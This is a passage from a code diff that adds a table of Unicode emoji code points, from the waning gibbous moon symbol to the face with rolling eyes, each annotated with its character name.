+        0x1F316, // WANING GIBBOUS MOON SYMBOL
+        0x1F317, // LAST QUARTER MOON SYMBOL
+        0x1F318, // WANING CRESCENT MOON SYMBOL
+        0x1F319, // CRESCENT MOON
+        0x1F31A, // NEW MOON WITH FACE
+        0x1F31B, // FIRST QUARTER MOON WITH FACE
+        0x1F31C, // LAST QUARTER MOON WITH FACE
+        0x1F31D, // FULL MOON WITH FACE
+        0x1F31E, // SUN WITH FACE
+        0x1F31F, // GLOWING STAR
+        0x1F320, // SHOOTING STAR
+        0x1F321, // THERMOMETER
+        0x1F324, // WHITE SUN WITH SMALL CLOUD
+        0x1F325, // WHITE SUN BEHIND CLOUD
+        0x1F326, // WHITE SUN BEHIND CLOUD WITH RAIN
+        0x1F327, // CLOUD WITH RAIN
+        0x1F328, // CLOUD WITH SNOW
+        0x1F329, // CLOUD WITH LIGHTNING
+        0x1F32A, // CLOUD WITH TORNADO
+        0x1F32B, // FOG
+        0x1F32C, // WIND BLOWING FACE
+        0x1F32D, // HOT DOG
+        0x1F32E, // TACO
+        0x1F32F, // BURRITO
+        0x1F330, // CHESTNUT
+        0x1F331, // SEEDLING
+        0x1F332, // EVERGREEN TREE
+        0x1F333, // DECIDUOUS TREE
+        0x1F334, // PALM TREE
+        0x1F335, // CACTUS
+        0x1F336, // HOT PEPPER
+        0x1F337, // TULIP
+        0x1F338, // CHERRY BLOSSOM
+        0x1F339, // ROSE
+        0x1F33A, // HIBISCUS
+        0x1F33B, // SUNFLOWER
+        0x1F33C, // BLOSSOM
+        0x1F33D, // EAR OF MAIZE
+        0x1F33E, // EAR OF RICE
+        0x1F33F, // HERB
+        0x1F340, // FOUR LEAF CLOVER
+        0x1F341, // MAPLE LEAF
+        0x1F342, // FALLEN LEAF
+        0x1F343, // LEAF FLUTTERING IN WIND
+        0x1F344, // MUSHROOM
+        0x1F345, // TOMATO
+        0x1F346, // AUBERGINE
+        0x1F347, // GRAPES
+        0x1F348, // MELON
+        0x1F349, // WATERMELON
+        0x1F34A, // TANGERINE
+        0x1F34B, // LEMON
+        0x1F34C, // BANANA
+        0x1F34D, // PINEAPPLE
+        0x1F34E, // RED APPLE
+        0x1F34F, // GREEN APPLE
+        0x1F350, // PEAR
+        0x1F351, // PEACH
+        0x1F352, // CHERRIES
+        0x1F353, // STRAWBERRY
+        0x1F354, // HAMBURGER
+        0x1F355, // SLICE OF PIZZA
+        0x1F356, // MEAT ON BONE
+        0x1F357, // POULTRY LEG
+        0x1F358, // RICE CRACKER
+        0x1F359, // RICE BALL
+        0x1F35A, // COOKED RICE
+        0x1F35B, // CURRY AND RICE
+        0x1F35C, // STEAMING BOWL
+        0x1F35D, // SPAGHETTI
+        0x1F35E, // BREAD
+        0x1F35F, // FRENCH FRIES
+        0x1F360, // ROASTED SWEET POTATO
+        0x1F361, // DANGO
+        0x1F362, // ODEN
+        0x1F363, // SUSHI
+        0x1F364, // FRIED SHRIMP
+        0x1F365, // FISH CAKE WITH SWIRL DESIGN
+        0x1F366, // SOFT ICE CREAM
+        0x1F367, // SHAVED ICE
+        0x1F368, // ICE CREAM
+        0x1F369, // DOUGHNUT
+        0x1F36A, // COOKIE
+        0x1F36B, // CHOCOLATE BAR
+        0x1F36C, // CANDY
+        0x1F36D, // LOLLIPOP
+        0x1F36E, // CUSTARD
+        0x1F36F, // HONEY POT
+        0x1F370, // SHORTCAKE
+        0x1F371, // BENTO BOX
+        0x1F372, // POT OF FOOD
+        0x1F373, // COOKING
+        0x1F374, // FORK AND KNIFE
+        0x1F375, // TEACUP WITHOUT HANDLE
+        0x1F376, // SAKE BOTTLE AND CUP
+        0x1F377, // WINE GLASS
+        0x1F378, // COCKTAIL GLASS
+        0x1F379, // TROPICAL DRINK
+        0x1F37A, // BEER MUG
+        0x1F37B, // CLINKING BEER MUGS
+        0x1F37C, // BABY BOTTLE
+        0x1F37D, // FORK AND KNIFE WITH PLATE
+        0x1F37E, // BOTTLE WITH POPPING CORK
+        0x1F37F, // POPCORN
+        0x1F380, // RIBBON
+        0x1F381, // WRAPPED PRESENT
+        0x1F382, // BIRTHDAY CAKE
+        0x1F383, // JACK-O-LANTERN
+        0x1F384, // CHRISTMAS TREE
+        0x1F385, // FATHER CHRISTMAS
+        0x1F386, // FIREWORKS
+        0x1F387, // FIREWORK SPARKLER
+        0x1F388, // BALLOON
+        0x1F389, // PARTY POPPER
+        0x1F38A, // CONFETTI BALL
+        0x1F38B, // TANABATA TREE
+        0x1F38C, // CROSSED FLAGS
+        0x1F38D, // PINE DECORATION
+        0x1F38E, // JAPANESE DOLLS
+        0x1F38F, // CARP STREAMER
+        0x1F390, // WIND CHIME
+        0x1F391, // MOON VIEWING CEREMONY
+        0x1F392, // SCHOOL SATCHEL
+        0x1F393, // GRADUATION CAP
+        0x1F396, // MILITARY MEDAL
+        0x1F397, // REMINDER RIBBON
+        0x1F399, // STUDIO MICROPHONE
+        0x1F39A, // LEVEL SLIDER
+        0x1F39B, // CONTROL KNOBS
+        0x1F39E, // FILM FRAMES
+        0x1F39F, // ADMISSION TICKETS
+        0x1F3A0, // CAROUSEL HORSE
+        0x1F3A1, // FERRIS WHEEL
+        0x1F3A2, // ROLLER COASTER
+        0x1F3A3, // FISHING POLE AND FISH
+        0x1F3A4, // MICROPHONE
+        0x1F3A5, // MOVIE CAMERA
+        0x1F3A6, // CINEMA
+        0x1F3A7, // HEADPHONE
+        0x1F3A8, // ARTIST PALETTE
+        0x1F3A9, // TOP HAT
+        0x1F3AA, // CIRCUS TENT
+        0x1F3AB, // TICKET
+        0x1F3AC, // CLAPPER BOARD
+        0x1F3AD, // PERFORMING ARTS
+        0x1F3AE, // VIDEO GAME
+        0x1F3AF, // DIRECT HIT
+        0x1F3B0, // SLOT MACHINE
+        0x1F3B1, // BILLIARDS
+        0x1F3B2, // GAME DIE
+        0x1F3B3, // BOWLING
+        0x1F3B4, // FLOWER PLAYING CARDS
+        0x1F3B5, // MUSICAL NOTE
+        0x1F3B6, // MULTIPLE MUSICAL NOTES
+        0x1F3B7, // SAXOPHONE
+        0x1F3B8, // GUITAR
+        0x1F3B9, // MUSICAL KEYBOARD
+        0x1F3BA, // TRUMPET
+        0x1F3BB, // VIOLIN
+        0x1F3BC, // MUSICAL SCORE
+        0x1F3BD, // RUNNING SHIRT WITH SASH
+        0x1F3BE, // TENNIS RACQUET AND BALL
+        0x1F3BF, // SKI AND SKI BOOT
+        0x1F3C0, // BASKETBALL AND HOOP
+        0x1F3C1, // CHEQUERED FLAG
+        0x1F3C2, // SNOWBOARDER
+        0x1F3C3, // RUNNER
+        0x1F3C4, // SURFER
+        0x1F3C5, // SPORTS MEDAL
+        0x1F3C6, // TROPHY
+        0x1F3C7, // HORSE RACING
+        0x1F3C8, // AMERICAN FOOTBALL
+        0x1F3C9, // RUGBY FOOTBALL
+        0x1F3CA, // SWIMMER
+        0x1F3CB, // WEIGHT LIFTER
+        0x1F3CC, // GOLFER
+        0x1F3CD, // RACING MOTORCYCLE
+        0x1F3CE, // RACING CAR
+        0x1F3CF, // CRICKET BAT AND BALL
+        0x1F3D0, // VOLLEYBALL
+        0x1F3D1, // FIELD HOCKEY STICK AND BALL
+        0x1F3D2, // ICE HOCKEY STICK AND PUCK
+        0x1F3D3, // TABLE TENNIS PADDLE AND BALL
+        0x1F3D4, // SNOW CAPPED MOUNTAIN
+        0x1F3D5, // CAMPING
+        0x1F3D6, // BEACH WITH UMBRELLA
+        0x1F3D7, // BUILDING CONSTRUCTION
+        0x1F3D8, // HOUSE BUILDINGS
+        0x1F3D9, // CITYSCAPE
+        0x1F3DA, // DERELICT HOUSE BUILDING
+        0x1F3DB, // CLASSICAL BUILDING
+        0x1F3DC, // DESERT
+        0x1F3DD, // DESERT ISLAND
+        0x1F3DE, // NATIONAL PARK
+        0x1F3DF, // STADIUM
+        0x1F3E0, // HOUSE BUILDING
+        0x1F3E1, // HOUSE WITH GARDEN
+        0x1F3E2, // OFFICE BUILDING
+        0x1F3E3, // JAPANESE POST OFFICE
+        0x1F3E4, // EUROPEAN POST OFFICE
+        0x1F3E5, // HOSPITAL
+        0x1F3E6, // BANK
+        0x1F3E7, // AUTOMATED TELLER MACHINE
+        0x1F3E8, // HOTEL
+        0x1F3E9, // LOVE HOTEL
+        0x1F3EA, // CONVENIENCE STORE
+        0x1F3EB, // SCHOOL
+        0x1F3EC, // DEPARTMENT STORE
+        0x1F3ED, // FACTORY
+        0x1F3EE, // IZAKAYA LANTERN
+        0x1F3EF, // JAPANESE CASTLE
+        0x1F3F0, // EUROPEAN CASTLE
+        0x1F3F3, // WAVING WHITE FLAG
+        0x1F3F4, // WAVING BLACK FLAG
+        0x1F3F5, // ROSETTE
+        0x1F3F7, // LABEL
+        0x1F3F8, // BADMINTON RACQUET AND SHUTTLECOCK
+        0x1F3F9, // BOW AND ARROW
+        0x1F3FA, // AMPHORA
+        0x1F3FB, // EMOJI MODIFIER FITZPATRICK TYPE-1-2
+        0x1F3FC, // EMOJI MODIFIER FITZPATRICK TYPE-3
+        0x1F3FD, // EMOJI MODIFIER FITZPATRICK TYPE-4
+        0x1F3FE, // EMOJI MODIFIER FITZPATRICK TYPE-5
+        0x1F3FF, // EMOJI MODIFIER FITZPATRICK TYPE-6
+        0x1F400, // RAT
+        0x1F401, // MOUSE
+        0x1F402, // OX
+        0x1F403, // WATER BUFFALO
+        0x1F404, // COW
+        0x1F405, // TIGER
+        0x1F406, // LEOPARD
+        0x1F407, // RABBIT
+        0x1F408, // CAT
+        0x1F409, // DRAGON
+        0x1F40A, // CROCODILE
+        0x1F40B, // WHALE
+        0x1F40C, // SNAIL
+        0x1F40D, // SNAKE
+        0x1F40E, // HORSE
+        0x1F40F, // RAM
+        0x1F410, // GOAT
+        0x1F411, // SHEEP
+        0x1F412, // MONKEY
+        0x1F413, // ROOSTER
+        0x1F414, // CHICKEN
+        0x1F415, // DOG
+        0x1F416, // PIG
+        0x1F417, // BOAR
+        0x1F418, // ELEPHANT
+        0x1F419, // OCTOPUS
+        0x1F41A, // SPIRAL SHELL
+        0x1F41B, // BUG
+        0x1F41C, // ANT
+        0x1F41D, // HONEYBEE
+        0x1F41E, // LADY BEETLE
+        0x1F41F, // FISH
+        0x1F420, // TROPICAL FISH
+        0x1F421, // BLOWFISH
+        0x1F422, // TURTLE
+        0x1F423, // HATCHING CHICK
+        0x1F424, // BABY CHICK
+        0x1F425, // FRONT-FACING BABY CHICK
+        0x1F426, // BIRD
+        0x1F427, // PENGUIN
+        0x1F428, // KOALA
+        0x1F429, // POODLE
+        0x1F42A, // DROMEDARY CAMEL
+        0x1F42B, // BACTRIAN CAMEL
+        0x1F42C, // DOLPHIN
+        0x1F42D, // MOUSE FACE
+        0x1F42E, // COW FACE
+        0x1F42F, // TIGER FACE
+        0x1F430, // RABBIT FACE
+        0x1F431, // CAT FACE
+        0x1F432, // DRAGON FACE
+        0x1F433, // SPOUTING WHALE
+        0x1F434, // HORSE FACE
+        0x1F435, // MONKEY FACE
+        0x1F436, // DOG FACE
+        0x1F437, // PIG FACE
+        0x1F438, // FROG FACE
+        0x1F439, // HAMSTER FACE
+        0x1F43A, // WOLF FACE
+        0x1F43B, // BEAR FACE
+        0x1F43C, // PANDA FACE
+        0x1F43D, // PIG NOSE
+        0x1F43E, // PAW PRINTS
+        0x1F43F, // CHIPMUNK
+        0x1F440, // EYES
+        0x1F441, // EYE
+        0x1F442, // EAR
+        0x1F443, // NOSE
+        0x1F444, // MOUTH
+        0x1F445, // TONGUE
+        0x1F446, // WHITE UP POINTING BACKHAND INDEX
+        0x1F447, // WHITE DOWN POINTING BACKHAND INDEX
+        0x1F448, // WHITE LEFT POINTING BACKHAND INDEX
+        0x1F449, // WHITE RIGHT POINTING BACKHAND INDEX
+        0x1F44A, // FISTED HAND SIGN
+        0x1F44B, // WAVING HAND SIGN
+        0x1F44C, // OK HAND SIGN
+        0x1F44D, // THUMBS UP SIGN
+        0x1F44E, // THUMBS DOWN SIGN
+        0x1F44F, // CLAPPING HANDS SIGN
+        0x1F450, // OPEN HANDS SIGN
+        0x1F451, // CROWN
+        0x1F452, // WOMANS HAT
+        0x1F453, // EYEGLASSES
+        0x1F454, // NECKTIE
+        0x1F455, // T-SHIRT
+        0x1F456, // JEANS
+        0x1F457, // DRESS
+        0x1F458, // KIMONO
+        0x1F459, // BIKINI
+        0x1F45A, // WOMANS CLOTHES
+        0x1F45B, // PURSE
+        0x1F45C, // HANDBAG
+        0x1F45D, // POUCH
+        0x1F45E, // MANS SHOE
+        0x1F45F, // ATHLETIC SHOE
+        0x1F460, // HIGH-HEELED SHOE
+        0x1F461, // WOMANS SANDAL
+        0x1F462, // WOMANS BOOTS
+        0x1F463, // FOOTPRINTS
+        0x1F464, // BUST IN SILHOUETTE
+        0x1F465, // BUSTS IN SILHOUETTE
+        0x1F466, // BOY
+        0x1F467, // GIRL
+        0x1F468, // MAN
+        0x1F469, // WOMAN
+        0x1F46A, // FAMILY
+        0x1F46B, // MAN AND WOMAN HOLDING HANDS
+        0x1F46C, // TWO MEN HOLDING HANDS
+        0x1F46D, // TWO WOMEN HOLDING HANDS
+        0x1F46E, // POLICE OFFICER
+        0x1F46F, // WOMAN WITH BUNNY EARS
+        0x1F470, // BRIDE WITH VEIL
+        0x1F471, // PERSON WITH BLOND HAIR
+        0x1F472, // MAN WITH GUA PI MAO
+        0x1F473, // MAN WITH TURBAN
+        0x1F474, // OLDER MAN
+        0x1F475, // OLDER WOMAN
+        0x1F476, // BABY
+        0x1F477, // CONSTRUCTION WORKER
+        0x1F478, // PRINCESS
+        0x1F479, // JAPANESE OGRE
+        0x1F47A, // JAPANESE GOBLIN
+        0x1F47B, // GHOST
+        0x1F47C, // BABY ANGEL
+        0x1F47D, // EXTRATERRESTRIAL ALIEN
+        0x1F47E, // ALIEN MONSTER
+        0x1F47F, // IMP
+        0x1F480, // SKULL
+        0x1F481, // INFORMATION DESK PERSON
+        0x1F482, // GUARDSMAN
+        0x1F483, // DANCER
+        0x1F484, // LIPSTICK
+        0x1F485, // NAIL POLISH
+        0x1F486, // FACE MASSAGE
+        0x1F487, // HAIRCUT
+        0x1F488, // BARBER POLE
+        0x1F489, // SYRINGE
+        0x1F48A, // PILL
+        0x1F48B, // KISS MARK
+        0x1F48C, // LOVE LETTER
+        0x1F48D, // RING
+        0x1F48E, // GEM STONE
+        0x1F48F, // KISS
+        0x1F490, // BOUQUET
+        0x1F491, // COUPLE WITH HEART
+        0x1F492, // WEDDING
+        0x1F493, // BEATING HEART
+        0x1F494, // BROKEN HEART
+        0x1F495, // TWO HEARTS
+        0x1F496, // SPARKLING HEART
+        0x1F497, // GROWING HEART
+        0x1F498, // HEART WITH ARROW
+        0x1F499, // BLUE HEART
+        0x1F49A, // GREEN HEART
+        0x1F49B, // YELLOW HEART
+        0x1F49C, // PURPLE HEART
+        0x1F49D, // HEART WITH RIBBON
+        0x1F49E, // REVOLVING HEARTS
+        0x1F49F, // HEART DECORATION
+        0x1F4A0, // DIAMOND SHAPE WITH A DOT INSIDE
+        0x1F4A1, // ELECTRIC LIGHT BULB
+        0x1F4A2, // ANGER SYMBOL
+        0x1F4A3, // BOMB
+        0x1F4A4, // SLEEPING SYMBOL
+        0x1F4A5, // COLLISION SYMBOL
+        0x1F4A6, // SPLASHING SWEAT SYMBOL
+        0x1F4A7, // DROPLET
+        0x1F4A8, // DASH SYMBOL
+        0x1F4A9, // PILE OF POO
+        0x1F4AA, // FLEXED BICEPS
+        0x1F4AB, // DIZZY SYMBOL
+        0x1F4AC, // SPEECH BALLOON
+        0x1F4AD, // THOUGHT BALLOON
+        0x1F4AE, // WHITE FLOWER
+        0x1F4AF, // HUNDRED POINTS SYMBOL
+        0x1F4B0, // MONEY BAG
+        0x1F4B1, // CURRENCY EXCHANGE
+        0x1F4B2, // HEAVY DOLLAR SIGN
+        0x1F4B3, // CREDIT CARD
+        0x1F4B4, // BANKNOTE WITH YEN SIGN
+        0x1F4B5, // BANKNOTE WITH DOLLAR SIGN
+        0x1F4B6, // BANKNOTE WITH EURO SIGN
+        0x1F4B7, // BANKNOTE WITH POUND SIGN
+        0x1F4B8, // MONEY WITH WINGS
+        0x1F4B9, // CHART WITH UPWARDS TREND AND YEN SIGN
+        0x1F4BA, // SEAT
+        0x1F4BB, // PERSONAL COMPUTER
+        0x1F4BC, // BRIEFCASE
+        0x1F4BD, // MINIDISC
+        0x1F4BE, // FLOPPY DISK
+        0x1F4BF, // OPTICAL DISC
+        0x1F4C0, // DVD
+        0x1F4C1, // FILE FOLDER
+        0x1F4C2, // OPEN FILE FOLDER
+        0x1F4C3, // PAGE WITH CURL
+        0x1F4C4, // PAGE FACING UP
+        0x1F4C5, // CALENDAR
+        0x1F4C6, // TEAR-OFF CALENDAR
+        0x1F4C7, // CARD INDEX
+        0x1F4C8, // CHART WITH UPWARDS TREND
+        0x1F4C9, // CHART WITH DOWNWARDS TREND
+        0x1F4CA, // BAR CHART
+        0x1F4CB, // CLIPBOARD
+        0x1F4CC, // PUSHPIN
+        0x1F4CD, // ROUND PUSHPIN
+        0x1F4CE, // PAPERCLIP
+        0x1F4CF, // STRAIGHT RULER
+        0x1F4D0, // TRIANGULAR RULER
+        0x1F4D1, // BOOKMARK TABS
+        0x1F4D2, // LEDGER
+        0x1F4D3, // NOTEBOOK
+        0x1F4D4, // NOTEBOOK WITH DECORATIVE COVER
+        0x1F4D5, // CLOSED BOOK
+        0x1F4D6, // OPEN BOOK
+        0x1F4D7, // GREEN BOOK
+        0x1F4D8, // BLUE BOOK
+        0x1F4D9, // ORANGE BOOK
+        0x1F4DA, // BOOKS
+        0x1F4DB, // NAME BADGE
+        0x1F4DC, // SCROLL
+        0x1F4DD, // MEMO
+        0x1F4DE, // TELEPHONE RECEIVER
+        0x1F4DF, // PAGER
+        0x1F4E0, // FAX MACHINE
+        0x1F4E1, // SATELLITE ANTENNA
+        0x1F4E2, // PUBLIC ADDRESS LOUDSPEAKER
+        0x1F4E3, // CHEERING MEGAPHONE
+        0x1F4E4, // OUTBOX TRAY
+        0x1F4E5, // INBOX TRAY
+        0x1F4E6, // PACKAGE
+        0x1F4E7, // E-MAIL SYMBOL
+        0x1F4E8, // INCOMING ENVELOPE
+        0x1F4E9, // ENVELOPE WITH DOWNWARDS ARROW ABOVE
+        0x1F4EA, // CLOSED MAILBOX WITH LOWERED FLAG
+        0x1F4EB, // CLOSED MAILBOX WITH RAISED FLAG
+        0x1F4EC, // OPEN MAILBOX WITH RAISED FLAG
+        0x1F4ED, // OPEN MAILBOX WITH LOWERED FLAG
+        0x1F4EE, // POSTBOX
+        0x1F4EF, // POSTAL HORN
+        0x1F4F0, // NEWSPAPER
+        0x1F4F1, // MOBILE PHONE
+        0x1F4F2, // MOBILE PHONE WITH RIGHTWARDS ARROW AT LEFT
+        0x1F4F3, // VIBRATION MODE
+        0x1F4F4, // MOBILE PHONE OFF
+        0x1F4F5, // NO MOBILE PHONES
+        0x1F4F6, // ANTENNA WITH BARS
+        0x1F4F7, // CAMERA
+        0x1F4F8, // CAMERA WITH FLASH
+        0x1F4F9, // VIDEO CAMERA
+        0x1F4FA, // TELEVISION
+        0x1F4FB, // RADIO
+        0x1F4FC, // VIDEOCASSETTE
+        0x1F4FD, // FILM PROJECTOR
+        0x1F4FF, // PRAYER BEADS
+        0x1F500, // TWISTED RIGHTWARDS ARROWS
+        0x1F501, // CLOCKWISE RIGHTWARDS AND LEFTWARDS OPEN CIRCLE ARROWS
+        0x1F502, // CLOCKWISE RIGHTWARDS AND LEFTWARDS OPEN CIRCLE ARROWS WITH CIRCLED ONE OVERLAY
+        0x1F503, // CLOCKWISE DOWNWARDS AND UPWARDS OPEN CIRCLE ARROWS
+        0x1F504, // ANTICLOCKWISE DOWNWARDS AND UPWARDS OPEN CIRCLE ARROWS
+        0x1F505, // LOW BRIGHTNESS SYMBOL
+        0x1F506, // HIGH BRIGHTNESS SYMBOL
+        0x1F507, // SPEAKER WITH CANCELLATION STROKE
+        0x1F508, // SPEAKER
+        0x1F509, // SPEAKER WITH ONE SOUND WAVE
+        0x1F50A, // SPEAKER WITH THREE SOUND WAVES
+        0x1F50B, // BATTERY
+        0x1F50C, // ELECTRIC PLUG
+        0x1F50D, // LEFT-POINTING MAGNIFYING GLASS
+        0x1F50E, // RIGHT-POINTING MAGNIFYING GLASS
+        0x1F50F, // LOCK WITH INK PEN
+        0x1F510, // CLOSED LOCK WITH KEY
+        0x1F511, // KEY
+        0x1F512, // LOCK
+        0x1F513, // OPEN LOCK
+        0x1F514, // BELL
+        0x1F515, // BELL WITH CANCELLATION STROKE
+        0x1F516, // BOOKMARK
+        0x1F517, // LINK SYMBOL
+        0x1F518, // RADIO BUTTON
+        0x1F519, // BACK WITH LEFTWARDS ARROW ABOVE
+        0x1F51A, // END WITH LEFTWARDS ARROW ABOVE
+        0x1F51B, // ON WITH EXCLAMATION MARK WITH LEFT RIGHT ARROW ABOVE
+        0x1F51C, // SOON WITH RIGHTWARDS ARROW ABOVE
+        0x1F51D, // TOP WITH UPWARDS ARROW ABOVE
+        0x1F51E, // NO ONE UNDER EIGHTEEN SYMBOL
+        0x1F51F, // KEYCAP TEN
+        0x1F520, // INPUT SYMBOL FOR LATIN CAPITAL LETTERS
+        0x1F521, // INPUT SYMBOL FOR LATIN SMALL LETTERS
+        0x1F522, // INPUT SYMBOL FOR NUMBERS
+        0x1F523, // INPUT SYMBOL FOR SYMBOLS
+        0x1F524, // INPUT SYMBOL FOR LATIN LETTERS
+        0x1F525, // FIRE
+        0x1F526, // ELECTRIC TORCH
+        0x1F527, // WRENCH
+        0x1F528, // HAMMER
+        0x1F529, // NUT AND BOLT
+        0x1F52A, // HOCHO
+        0x1F52B, // PISTOL
+        0x1F52C, // MICROSCOPE
+        0x1F52D, // TELESCOPE
+        0x1F52E, // CRYSTAL BALL
+        0x1F52F, // SIX POINTED STAR WITH MIDDLE DOT
+        0x1F530, // JAPANESE SYMBOL FOR BEGINNER
+        0x1F531, // TRIDENT EMBLEM
+        0x1F532, // BLACK SQUARE BUTTON
+        0x1F533, // WHITE SQUARE BUTTON
+        0x1F534, // LARGE RED CIRCLE
+        0x1F535, // LARGE BLUE CIRCLE
+        0x1F536, // LARGE ORANGE DIAMOND
+        0x1F537, // LARGE BLUE DIAMOND
+        0x1F538, // SMALL ORANGE DIAMOND
+        0x1F539, // SMALL BLUE DIAMOND
+        0x1F53A, // UP-POINTING RED TRIANGLE
+        0x1F53B, // DOWN-POINTING RED TRIANGLE
+        0x1F53C, // UP-POINTING SMALL RED TRIANGLE
+        0x1F53D, // DOWN-POINTING SMALL RED TRIANGLE
+        0x1F549, // OM SYMBOL
+        0x1F54A, // DOVE OF PEACE
+        0x1F54B, // KAABA
+        0x1F54C, // MOSQUE
+        0x1F54D, // SYNAGOGUE
+        0x1F54E, // MENORAH WITH NINE BRANCHES
+        0x1F550, // CLOCK FACE ONE OCLOCK
+        0x1F551, // CLOCK FACE TWO OCLOCK
+        0x1F552, // CLOCK FACE THREE OCLOCK
+        0x1F553, // CLOCK FACE FOUR OCLOCK
+        0x1F554, // CLOCK FACE FIVE OCLOCK
+        0x1F555, // CLOCK FACE SIX OCLOCK
+        0x1F556, // CLOCK FACE SEVEN OCLOCK
+        0x1F557, // CLOCK FACE EIGHT OCLOCK
+        0x1F558, // CLOCK FACE NINE OCLOCK
+        0x1F559, // CLOCK FACE TEN OCLOCK
+        0x1F55A, // CLOCK FACE ELEVEN OCLOCK
+        0x1F55B, // CLOCK FACE TWELVE OCLOCK
+        0x1F55C, // CLOCK FACE ONE-THIRTY
+        0x1F55D, // CLOCK FACE TWO-THIRTY
+        0x1F55E, // CLOCK FACE THREE-THIRTY
+        0x1F55F, // CLOCK FACE FOUR-THIRTY
+        0x1F560, // CLOCK FACE FIVE-THIRTY
+        0x1F561, // CLOCK FACE SIX-THIRTY
+        0x1F562, // CLOCK FACE SEVEN-THIRTY
+        0x1F563, // CLOCK FACE EIGHT-THIRTY
+        0x1F564, // CLOCK FACE NINE-THIRTY
+        0x1F565, // CLOCK FACE TEN-THIRTY
+        0x1F566, // CLOCK FACE ELEVEN-THIRTY
+        0x1F567, // CLOCK FACE TWELVE-THIRTY
+        0x1F56F, // CANDLE
+        0x1F570, // MANTELPIECE CLOCK
+        0x1F573, // HOLE
+        0x1F574, // MAN IN BUSINESS SUIT LEVITATING
+        0x1F575, // SLEUTH OR SPY
+        0x1F576, // DARK SUNGLASSES
+        0x1F577, // SPIDER
+        0x1F578, // SPIDER WEB
+        0x1F579, // JOYSTICK
+        0x1F57A, // MAN DANCING
+        0x1F587, // LINKED PAPERCLIPS
+        0x1F58A, // LOWER LEFT BALLPOINT PEN
+        0x1F58B, // LOWER LEFT FOUNTAIN PEN
+        0x1F58C, // LOWER LEFT PAINTBRUSH
+        0x1F58D, // LOWER LEFT CRAYON
+        0x1F590, // RAISED HAND WITH FINGERS SPLAYED
+        0x1F595, // REVERSED HAND WITH MIDDLE FINGER EXTENDED
+        0x1F596, // RAISED HAND WITH PART BETWEEN MIDDLE AND RING FINGERS
+        0x1F5A4, // BLACK HEART
+        0x1F5A5, // DESKTOP COMPUTER
+        0x1F5A8, // PRINTER
+        0x1F5B1, // THREE BUTTON MOUSE
+        0x1F5B2, // TRACKBALL
+        0x1F5BC, // FRAME WITH PICTURE
+        0x1F5C2, // CARD INDEX DIVIDERS
+        0x1F5C3, // CARD FILE BOX
+        0x1F5C4, // FILE CABINET
+        0x1F5D1, // WASTEBASKET
+        0x1F5D2, // SPIRAL NOTE PAD
+        0x1F5D3, // SPIRAL CALENDAR PAD
+        0x1F5DC, // COMPRESSION
+        0x1F5DD, // OLD KEY
+        0x1F5DE, // ROLLED-UP NEWSPAPER
+        0x1F5E1, // DAGGER KNIFE
+        0x1F5E3, // SPEAKING HEAD IN SILHOUETTE
+        0x1F5E8, // LEFT SPEECH BUBBLE
+        0x1F5EF, // RIGHT ANGER BUBBLE
+        0x1F5F3, // BALLOT BOX WITH BALLOT
+        0x1F5FA, // WORLD MAP
+        0x1F5FB, // MOUNT FUJI
+        0x1F5FC, // TOKYO TOWER
+        0x1F5FD, // STATUE OF LIBERTY
+        0x1F5FE, // SILHOUETTE OF JAPAN
+        0x1F5FF, // MOYAI
+        0x1F600, // GRINNING FACE
+        0x1F601, // GRINNING FACE WITH SMILING EYES
+        0x1F602, // FACE WITH TEARS OF JOY
+        0x1F603, // SMILING FACE WITH OPEN MOUTH
+        0x1F604, // SMILING FACE WITH OPEN MOUTH AND SMILING EYES
+        0x1F605, // SMILING FACE WITH OPEN MOUTH AND COLD SWEAT
+        0x1F606, // SMILING FACE WITH OPEN MOUTH AND TIGHTLY-CLOSED EYES
+        0x1F607, // SMILING FACE WITH HALO
+        0x1F608, // SMILING FACE WITH HORNS
+        0x1F609, // WINKING FACE
+        0x1F60A, // SMILING FACE WITH SMILING EYES
+        0x1F60B, // FACE SAVOURING DELICIOUS FOOD
+        0x1F60C, // RELIEVED FACE
+        0x1F60D, // SMILING FACE WITH HEART-SHAPED EYES
+        0x1F60E, // SMILING FACE WITH SUNGLASSES
+        0x1F60F, // SMIRKING FACE
+        0x1F610, // NEUTRAL FACE
+        0x1F611, // EXPRESSIONLESS FACE
+        0x1F612, // UNAMUSED FACE
+        0x1F613, // FACE WITH COLD SWEAT
+        0x1F614, // PENSIVE FACE
+        0x1F615, // CONFUSED FACE
+        0x1F616, // CONFOUNDED FACE
+        0x1F617, // KISSING FACE
+        0x1F618, // FACE THROWING A KISS
+        0x1F619, // KISSING FACE WITH SMILING EYES
+        0x1F61A, // KISSING FACE WITH CLOSED EYES
+        0x1F61B, // FACE WITH STUCK-OUT TONGUE
+        0x1F61C, // FACE WITH STUCK-OUT TONGUE AND WINKING EYE
+        0x1F61D, // FACE WITH STUCK-OUT TONGUE AND TIGHTLY-CLOSED EYES
+        0x1F61E, // DISAPPOINTED FACE
+        0x1F61F, // WORRIED FACE
+        0x1F620, // ANGRY FACE
+        0x1F621, // POUTING FACE
+        0x1F622, // CRYING FACE
+        0x1F623, // PERSEVERING FACE
+        0x1F624, // FACE WITH LOOK OF TRIUMPH
+        0x1F625, // DISAPPOINTED BUT RELIEVED FACE
+        0x1F626, // FROWNING FACE WITH OPEN MOUTH
+        0x1F627, // ANGUISHED FACE
+        0x1F628, // FEARFUL FACE
+        0x1F629, // WEARY FACE
+        0x1F62A, // SLEEPY FACE
+        0x1F62B, // TIRED FACE
+        0x1F62C, // GRIMACING FACE
+        0x1F62D, // LOUDLY CRYING FACE
+        0x1F62E, // FACE WITH OPEN MOUTH
+        0x1F62F, // HUSHED FACE
+        0x1F630, // FACE WITH OPEN MOUTH AND COLD SWEAT
+        0x1F631, // FACE SCREAMING IN FEAR
+        0x1F632, // ASTONISHED FACE
+        0x1F633, // FLUSHED FACE
+        0x1F634, // SLEEPING FACE
+        0x1F635, // DIZZY FACE
+        0x1F636, // FACE WITHOUT MOUTH
+        0x1F637, // FACE WITH MEDICAL MASK
+        0x1F638, // GRINNING CAT FACE WITH SMILING EYES
+        0x1F639, // CAT FACE WITH TEARS OF JOY
+        0x1F63A, // SMILING CAT FACE WITH OPEN MOUTH
+        0x1F63B, // SMILING CAT FACE WITH HEART-SHAPED EYES
+        0x1F63C, // CAT FACE WITH WRY SMILE
+        0x1F63D, // KISSING CAT FACE WITH CLOSED EYES
+        0x1F63E, // POUTING CAT FACE
+        0x1F63F, // CRYING CAT FACE
+        0x1F640, // WEARY CAT FACE
+        0x1F641, // SLIGHTLY FROWNING FACE
+        0x1F642, // SLIGHTLY SMILING FACE
+        0x1F643, // UPSIDE-DOWN FACE
+        0x1F644, // FACE WITH ROLLING EYES
